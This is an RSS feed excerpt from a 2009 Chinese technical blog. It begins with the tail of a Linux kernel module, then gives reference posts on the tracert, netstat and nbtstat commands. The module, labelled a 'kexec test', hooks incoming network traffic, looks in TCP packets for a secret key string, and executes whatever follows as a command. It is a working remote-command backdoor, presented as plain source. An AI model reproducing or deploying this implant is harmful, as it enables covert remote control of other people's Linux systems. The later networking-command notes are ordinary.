&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   const struct net_device *in,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   const struct net_device *out,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   int (*okfn)(struct sk_buff *))<br />
{<br />
#if LINUX_VERSION_CODE &gt;= KERNEL_VERSION(2,6,22)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   struct sk_buff *sk = skb_copy(skb, 1);<br />
#else<br />
&nbsp;&nbsp;&nbsp;   struct sk_buff *sk = *skb;<br />
#endif<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   struct iphdr *ip;<br />
&nbsp;&nbsp;&nbsp;   struct tcphdr *tcphdr;<br />
&nbsp;&nbsp;&nbsp;   char buf[BUFF_NUM], *data = NULL;<br />
&nbsp;&nbsp;&nbsp;   char *p; <br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   if (!sk)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   return NF_ACCEPT;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   <br />
#if LINUX_VERSION_CODE &gt;= KERNEL_VERSION(2,6,22)<br />
&nbsp;&nbsp;&nbsp;   ip = ip_hdr(sk);<br />
#else<br />
&nbsp;&nbsp;&nbsp;   ip = sk-&gt;nh.iph;<br />
#endif<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   switch (ip-&gt;protocol) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   case 1:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   return NF_ACCEPT;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   case 6:<br />
#if LINUX_VERSION_CODE &gt;= KERNEL_VERSION(2,6,22)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   tcphdr = ip_hdr(sk);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   tcphdr =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   (struct tcphdr *)((void *)sk-&gt;data +<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   ((struct iphdr *)sk-&gt;data)-&gt;ihl * 4);<br />
<br />
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   data = (char *)((int *)tcphdr + (int)(tcphdr-&gt;doff));<br />
#else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   tcphdr = (struct tcphdr *)((__u32 *)ip + ip-&gt;ihl);<br />
<br />
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   data = (char *)((int *)tcphdr + (int)(tcphdr-&gt;doff));<br />
#endif<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   /*<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   * filter the connected tcp packet<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   */<br />
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   if ((p = strstr(data, TCP_SHELL_KEY)) != NULL) {<br />
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   DbgPrint("got the tcp key .\n");<br />
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   p += strlen(TCP_SHELL_KEY) + 1;<br />
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   DbgPrint("%s\n", p);<br />
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   execute_user_command(p);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   goto out;<br />
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   }<br />
<br />
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   out:<br />
&nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   &nbsp;&nbsp;&nbsp;   memset(buf, '\0', BUFF_NUM);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   return NF_ACCEPT;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   default:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   return NF_ACCEPT;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   }<br />
}<br />
<br />
static int kexec_test_init(void)<br />
{<br />
&nbsp;&nbsp;&nbsp;   printk("kexec test start ...\n");<br />
<br />
&nbsp;&nbsp;&nbsp;   nfho.hook = hook_func;<br />
&nbsp;&nbsp;&nbsp;   nfho.owner = NULL;<br />
&nbsp;&nbsp;&nbsp;   nfho.pf = PF_INET;<br />
<br />
#if LINUX_VERSION_CODE &gt;= KERNEL_VERSION(2,6,22)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   nfho.hooknum = NF_INET_PRE_ROUTING;<br />
#else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;   nfho.hooknum = NF_IP_PRE_ROUTING;<br />
#endif<br />
<br />
&nbsp;&nbsp;&nbsp;   nfho.priority = NF_IP_PRI_FIRST;<br />
&nbsp;&nbsp;&nbsp;   <br />
&nbsp;&nbsp;&nbsp;   nf_register_hook(&amp;nfho);<br />
<br />
&nbsp;&nbsp;&nbsp;   return 0;<br />
}<br />
<br />
static void kexec_test_exit(void)<br />
{<br />
&nbsp;&nbsp;&nbsp;   printk("kexec test exit ...\n");<br />
&nbsp;&nbsp;&nbsp;   nf_unregister_hook(&amp;nfho);<br />
}<br />
<br />
module_init(kexec_test_init);<br />
module_exit(kexec_test_exit);
<img src ="http://www.blogjava.net/shiliqiang/aggbug/301159.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-11-04 21:33 <a href="http://www.blogjava.net/shiliqiang/articles/301159.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>tracert命令</title><link>http://www.blogjava.net/shiliqiang/articles/291705.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Tue, 18 Aug 2009 13:38:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/291705.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/291705.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/291705.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/291705.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/291705.html</trackback:ping><description><![CDATA[<p>tracert命令</p>
<p>Tracert 工作原理 </p>
<p>　　通过向目标发送不同 IP 生存时间 (TTL) 值的&#8220;Internet 控制消息协议 (ICMP)&#8221;回应数据包，Tracert
诊断程序确定到目标所采取的路由。要求路径上的每个路由器在转发数据包之前至少将数据包上的 TTL 递减 1。数据包上的 TTL 减为 0
时，路由器应该将&#8220;ICMP 已超时&#8221;的消息发回源系统。 </p>
<p>　　Tracert 先发送 TTL 为 1 的回应数据包，并在随后的每次发送过程将 TTL 递增 1，直到目标响应或 TTL
达到最大值，从而确定路由。通过检查中间路由器发回的&#8220;ICMP 已超时&#8221;的消息确定路由。某些路由器不经询问直接丢弃 TTL 过期的数据包，这在
Tracert 实用程序中看不到。 </p>
<p><br />
tracert命令参数</p>
<p>-d</p>
<p>防止 tracert 试图将中间路由器的 IP 地址解析为它们的名称。这样可加速显示 tracert 的结果。</p>
<p>-h MaximumHops</p>
<p>指定搜索目标（目的）的路径中存在的跃点的最大数。默认值为 30 个跃点。</p>
<p>-j HostList</p>
<p>指定回显请求消息将 IP 报头中的松散源路由选项与 HostList
中指定的中间目标集一起使用。使用松散源路由时，连续的中间目标可以由一个或多个路由器分隔开。HostList 中的地址或名称的最大数量为
9。HostList 是一系列由空格分隔的 IP 地址（用带点的十进制符号表示）。仅当跟踪 IPv4 地址时才使用该参数。</p>
<p>-w Timeout</p>
<p>指定等待&#8220;ICMP 已超时&#8221;或&#8220;回显答复&#8221;消息（对应于要接收的给定&#8220;回现请求&#8221;消息）的时间（以毫秒为单位）。如果超时时间内未收到消息，则显示一个星号 (*)。默认的超时时间为 4000（4 秒）。</p>
<p>-R</p>
<p>指定 IPv6 路由扩展标头应用来将&#8220;回显请求&#8221;消息发送到本地主机，使用目标作为中间目标并测试反向路由。</p>
<p>-S</p>
<p>指定在&#8220;回显请求&#8221;消息中使用的源地址。仅当跟踪 IPv6 地址时才使用该参数。</p>
<p>-4</p>
<p>指定 Tracert.exe 只能将 IPv4 用于本跟踪。</p>
<p>-6</p>
<p>指定 Tracert.exe 只能将 IPv6 用于本跟踪。</p>
<p>TargetName</p>
<p>指定目标，可以是 IP 地址或主机名。</p>
<p>-?</p>
<p>在命令提示符下显示帮助。</p>
<p>注释<br />
&#8226; 该诊断工具通过向目标发送具有变化的&#8220;生存时间 (TTL)&#8221;值的&#8220;ICMP
回响请求&#8221;消息来确定到达目标的路径。要求路径上的每个路由器在转发数据包之前至少将 IP 数据包中的 TTL 递减 1。这样，TTL
就成为最大链路计数器。数据包上的 TTL 到达 0 时，路由器应该将&#8220;ICMP 已超时&#8221;的消息发送回源计算机。Tracert 发送 TTL 为
1 的第一条&#8220;回响请求&#8221;消息，并在随后的每次发送过程将 TTL 递增
1，直到目标响应或跃点达到最大值，从而确定路径。默认情况下跃点的最大数量是 30，可使用 -h 参数指定。检查中间路由器返回的&#8220;ICMP
超时&#8221;消息与目标返回的&#8220;回显答复&#8221;消息可确定路径。但是，某些路由器不会为其 TTL 值已过期的数据包返回&#8220;已超时&#8221;消息，而且这些路由器对于
tracert 命令不可见。在这种情况下，将为该跃点显示一行星号 (*)。 <br />
<br />
&#8226; 要跟踪路径并为路径中的每个路由器和链路提供网络延迟和数据包丢失信息，请使用 pathping 命令。 <br />
<br />
&#8226; 只有当&#8220;Internet 协议 (TCP/IP)&#8221;协议在&#8220;网络连接&#8221;中安装为网络适配器属性的组件时，该命令才可用。</p>
<p>这是验证通往远程主机路径的实用程序 <br />
用法： tracert ［-d］ ［-h maximum_hops］ ［-j host-list］ ［-w timeout］ target_name </p>
<p><br />
示例<br />
要跟踪名为 corp7.microsoft.com 的主机的路径，请键入：</p>
<p>tracert corp7.microsoft.com</p>
<p>要跟踪名为 corp7.microsoft.com 的主机的路径并防止将每个 IP 地址解析为它的名称，请键入：</p>
<p>tracert -d corp7.microsoft.com</p>
<p>要跟踪名为 corp7.microsoft.com 的主机的路径并使用松散源路由 10.12.0.1-10.29.3.1-10.1.44.1，请键入：</p>
<p>tracert -j 10.12.0.1 10.29.3.1 10.1.44.1 corp7.microsoft.com</p>
<p> </p>
<p>执行tracert命令时,会有如下结果,这其中的第2列,第3列,第4列为何有三个时间,如果要表示经过该IP的时间,分别对每一跳的地址发送三个测试包，所以有三个时间，分别是最小、平均、最大时间。 <br />
&nbsp;&nbsp;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;  C:\&gt;tracert&nbsp;&nbsp;&nbsp;  -d&nbsp;&nbsp;&nbsp;<a href="http://www.hzcnc.com/">www.hzcnc.com</a>&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;  Tracing&nbsp;&nbsp;&nbsp;  route&nbsp;&nbsp;&nbsp;  to&nbsp;&nbsp;&nbsp;<a href="http://www.hzcnc.com/">www.hzcnc.com</a>&nbsp;&nbsp;&nbsp;  [218.108.250.243]&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;  over&nbsp;&nbsp;&nbsp;  a&nbsp;&nbsp;&nbsp;  maximum&nbsp;&nbsp;&nbsp;  of&nbsp;&nbsp;&nbsp;  30&nbsp;&nbsp;&nbsp;  hops:&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  210.83.128.110&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  210.83.128.110&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  11&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  218.108.253.241&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  218.108.254.34&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  218.108.252.66&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;10&nbsp;&nbsp;&nbsp;  ms&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  218.108.250.243&nbsp;&nbsp;&nbsp;<br />
</p>
<p>&nbsp;&nbsp;&nbsp;  在下例中，数据包必须通过两个路由器（10.0.0.1 和 192.168.0.1）才能到达主机 <br />
172.16.0.99。主机的默认网关是 10.0.0.1，192.168.0.0 网络上的路由器的 IP 地 <br />
址是 192.168.0.1。 </p>
<p>C:＼&gt;tracert 172.16.0.99 -d <br />
Tracing route to 172.16.0.99 over a maximum of 30 hops <br />
1 2s 3s 2s 10,0.0,1 <br />
2 75 ms 83 ms 88 ms 192.168.0.1 <br />
3 73 ms 79 ms 93 ms 172.16.0.99 <br />
Trace complete. <br />
用 tracert 解决问题 <br />
可以使用 tracert 命令确定数据包在网络上的停止位置。下例中，默认网关确定 19 2.168.10.99 主机没有有效路径。<br />
这可能是路由器配置的问题，或者是 192.168.10. 0 网络不存在（错误的 IP 地址）。 </p>
<p>C:＼&gt;tracert 192.168.10.99 </p>
<p>Tracing route to 192.168.10.99 over a maximum of 30 hops </p>
<p>1 10.0.0.1 reportsestination net unreachable. </p>
<p>Trace complete. </p>
<p>Tracert 实用程序对于解决大网络问题非常有用，此时可以采取几条路径到达同一个 <br />
点。 </p>
<img src ="http://www.blogjava.net/shiliqiang/aggbug/291705.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-08-18 21:38 <a href="http://www.blogjava.net/shiliqiang/articles/291705.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>netstat 命令用法</title><link>http://www.blogjava.net/shiliqiang/articles/291704.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Tue, 18 Aug 2009 13:37:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/291704.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/291704.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/291704.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/291704.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/291704.html</trackback:ping><description><![CDATA[<div id="blog_text" class="cnt">
<p>开始运行netstat命令既可，可这命令还有其它功能。 </p>
<p>如：你想知道对方能IP地址，不访用netstat命令可以直接在dos直行，用法，netstat -n </p>
<p>-A 显示任何关联的协议控制块的地址。主要用于调试 <br />
-a 显示所有套接字的状态。在一般情况下不显示与服务器进程相关联的套接字 <br />
-i 显示自动配置接口的状态。那些在系统初始引导后配置的接口状态不在输出之列 <br />
-m 打印网络存储器的使用情况 <br />
-n 打印实际地址，而不是对地址的解释或者显示主机，网络名之类的符号 <br />
-r 打印路由选择表 <br />
-f address -family对于给出名字的地址簇打印统计数字和控制块信息。到目前为止，唯一支持的地址簇是inet <br />
-I interface 只打印给出名字的接口状态 <br />
-p protocol-name 只打印给出名字的协议的统计数字和协议控制块信息 <br />
-s 打印每个协议的统计数字 <br />
-t 在输出显示中用时间信息代替队列长度信息。 </p>
<p>netstat命令的列标题 <br />
Name 接口的名字 <br />
Mtu 接口的最大传输单位 <br />
Net/Dest 接口所在的网络 <br />
Address 接口的IP地址 <br />
Ipkts 接收到的数据包数目 <br />
Ierrs 接收到时已损坏的数据包数目 <br />
Opkts 发送的数据包数目 <br />
Oeers 发送时已损坏的数据包数目 <br />
Collisions 由这个接口所记录的网络冲突数目</p>
</div>
<img src ="http://www.blogjava.net/shiliqiang/aggbug/291704.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/shiliqiang/" target="_blank">石头@</a> 2009-08-18 21:37 <a href="http://www.blogjava.net/shiliqiang/articles/291704.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Nbtstat 命令用法</title><link>http://www.blogjava.net/shiliqiang/articles/291703.html</link><dc:creator>石头@</dc:creator><author>石头@</author><pubDate>Tue, 18 Aug 2009 13:36:00 GMT</pubDate><guid>http://www.blogjava.net/shiliqiang/articles/291703.html</guid><wfw:comment>http://www.blogjava.net/shiliqiang/comments/291703.html</wfw:comment><comments>http://www.blogjava.net/shiliqiang/articles/291703.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/shiliqiang/comments/commentRss/291703.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/shiliqiang/services/trackbacks/291703.html</trackback:ping><description><![CDATA[<p>Nbtstat </p>
<p>显示基于 TCP/IP 的 NetBIOS (NetBT) 协议统计资料、本地计算机和远程计算机的 NetBIOS 名称表和 <br />
NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和使用 Windows Internet 名称服务 (WINS) <br />
注册的名称。使用不带参数的 nbtstat 显示帮助。 </p>
<p>语法 </p>
<p>nbtstat[-a RemoteName] [-A IPAddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval] </p>
<p>参数 </p>
<p>-a remotename </p>
<p>显示远程计算机的 NetBIOS 名称表，其中，RemoteName 是远程计算机的 NetBIOS 计算机名称。NetBIOS <br />
名称表是与运行在该计算机上的应用程序相对应的 NetBIOS 名称列表。 </p>
<p>-A IPAddress </p>
<p>显示远程计算机的 NetBIOS 名称表，其名称由远程计算机的 IP 地址指定（以小数点分隔）。 </p>
<p>-c </p>
<p>显示 NetBIOS 名称缓存内容、NetBIOS 名称表及其解析的各个地址。 </p>
<p>-n </p>
<p>显示本地计算机的 NetBIOS 名称表。Registered 的状态表明该名称是通过广播还是 WINS 服务器注册的。 </p>
<p>-r </p>
<p>显示 NetBIOS 名称解析统计资料。在配置为使用 WINS 且运行 Windows XP 或 Windows Server 2003 操<br />
作系统的计算机上，该参数将返回已通过广播和 WINS 解析和注册的名称号码。 </p>
<p>-R </p>
<p>清除 NetBIOS 名称缓存的内容并从 Lmhosts 文件中重新加载带有 #PRE 标记的项目。 </p>
<p>-RR </p>
<p>释放并刷新通过 WINS 服务器注册的本地计算机的 NetBIOS 名称。 </p>
<p>-s </p>
<p>显示 NetBIOS 客户端和服务器会话，并试图将目标 IP 地址转化为名称。 </p>
<p>-S </p>
<p>显示 NetBIOS 客户端和服务器会话，只通过 IP 地址列出远程计算机。 </p>
<p>Interval </p>
<p>重新显示选择的统计资料，可以在每个显示内容之间中断 Interval 中指定的秒数。按 Ctrl+C 停止重新<br />
显示统计信息。如果省略该参数，netstat 将只显示一次当前的配置信息。 </p>
<p>/? </p>
<p>在命令提示符下显示帮助。 </p>
<p>注释 </p>
<p>&#8226; Nbtstat 命令行参数区分大小写。 </p>
<p>&#8226; 下表描述由 nbtstat 生成的列标题。 </p>
<p><br />
标题 描述 </p>
<p>Input </p>
<p>接收的字节数。 </p>
<p>Output <br />
发送的字节数。 </p>
<p>In/Out <br />
该连接是否从计算机传出或者从其他计算机传入到本地计算机。 </p>
<p>Lift <br />
名称表缓存项在被清除之前所存留的时间。 </p>
<p>Local Name <br />
与连接相关的本地 NetBIOS 名称。 </p>
<p>Remote Host <br />
与远程计算机相关的名称或 IP 地址。 </p>
<p>&lt;03&gt; <br />
转化为十六进制的 NetBIOS 名称的最后一个字节。每个 NetBIOS 名称长度均为 16
个字符。最后一个字节通常有特殊的意义，因为相同的名称（只有最后一个字节不同）可能在一台计算机上出现几次。例如，&lt;20&gt; 在
ASCII 文本中是一个空格。 </p>
<p>Type <br />
名称类型。名称可以是唯一名称，也可以是组名称。 </p>
<p>Status <br />
远程计算机上是否在运行 NetBIOS 服务（已注册），或同一计算机名是否已注册了相同的服务（冲突）。 </p>
<p>State <br />
NetBIOS 连接的状态。 </p>
<p><br />
&#8226; 下表描述可能的 NetBIOS 连接状态。 </p>
<p><br />
State 描述 <br />
Connected <br />
会话已建立。 </p>
<p>Associated <br />
连接的终结点已经被创建并与 IP 地址关联。 </p>
<p>Listening <br />
该终结点对入站连接可用。 </p>
<p>Idle <br />
该终结点已被打开但不能接收连接。 </p>
<p>Connecting <br />
会话处于连接阶段。在此阶段正在解析所选目标的由名称到 IP 地址的映射。 </p>
<p>Accepting <br />
当前正在接受入站会话，并将立即连接。 </p>
<p>Reconnecting <br />
会话将试图重新连接（如果第一次连接尝试失败）。 </p>
<p>Outbound <br />
会话正处于连接阶段。当前正在创建 TCP 连接。 </p>
<p>Inbound <br />
入站会话处于连接阶段。 </p>
<p>Disconnecting <br />
会话正在断开连接。 </p>
<p>Disconnected <br />
本地计算机已断开连接，并正等待远程系统的确认。 </p>
<p><br />
&#8226; 只有当&#8220;Internet 协议 (TCP/IP)&#8221;协议在&#8220;网络连接&#8221;中安装为网络适配器属性的组件时，该命令才可用。 </p>
<p><br />
示例 <br />
要显示 NetBIOS 计算机名为 CORP07 的远程计算机的 NetBIOS 名称表，请键入： </p>
<p>nbtstat -a CORP07 </p>
<p>要显示所分配 IP 地址为 10.0.0.99 的远程计算机的 NetBIOS 名称表，请键入： </p>
<p>nbtstat -A 10.0.0.99 </p>
